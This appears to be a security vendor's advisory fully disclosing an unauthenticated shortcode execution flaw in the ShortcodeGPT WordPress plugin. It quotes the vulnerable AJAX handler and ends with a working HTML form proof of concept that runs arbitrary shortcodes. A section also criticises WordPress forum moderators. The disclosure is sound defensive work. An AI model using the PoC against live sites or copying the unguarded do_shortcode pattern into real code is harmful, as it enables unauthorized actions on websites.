Our Proactive Monitoring Caught a Shortcode Execution Vulnerability in a Brand New WordPress ChatGPT Plugin
One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a type of vulnerability that has in the past been combined with a more serious vulnerability and then exploited. That being a shortcode execution vulnerability, which we found in a brand new WordPress plugin. That plugin, ShortcodeGPT, being yet another ChatGPT related plugin that hasn’t been properly secured.
We now are also running all the code in the plugins used by our customers through that monitoring system on a weekly basis to provide additional protection for them.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
We tested and confirmed that our firewall plugin for WordPress protected against the vulnerability, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Shortcode Execution
In the plugin’s main file, the function sgpt_ajax_get_content() is registered to be accessible through WordPress’ AJAX functionality to those not logged in to WordPress:
127 | add_action('wp_ajax_nopriv_get_content', 'sgpt_ajax_get_content'); |
That function checks for a valid nonce to prevent cross-site request forgery (CSRF) and then passes the value of the POST input “shortcode” to the function do_shortcode(), which runs then runs the specified shortcode:
119 120 121 122 123 124 125 | function sgpt_ajax_get_content() { check_ajax_referer('sgpt_ajax_nonce', 'nonce'); $shortcode = sanitize_text_field($_POST['shortcode']); $output = do_shortcode($shortcode); wp_send_json_success($output); } |
The nonce value is displayed on frontend pages of the website.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will cause a specified short code to be executed.
Make sure to replace “[path to WordPress]” with the location of WordPress, “[nonce]” with the value of the nonce key found on the line beginning “var sgpt_ajax ” in the source code of frontend pages of the website, and “[shortcode]” with the shortcode to be executed.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=get_content" method="POST"> <input type="hidden" name="nonce" value="[nonce]" /> <input type="hidden" name="shortcode" value="[shortcode]" /> <input type="submit" value="Submit" /> </form> </body>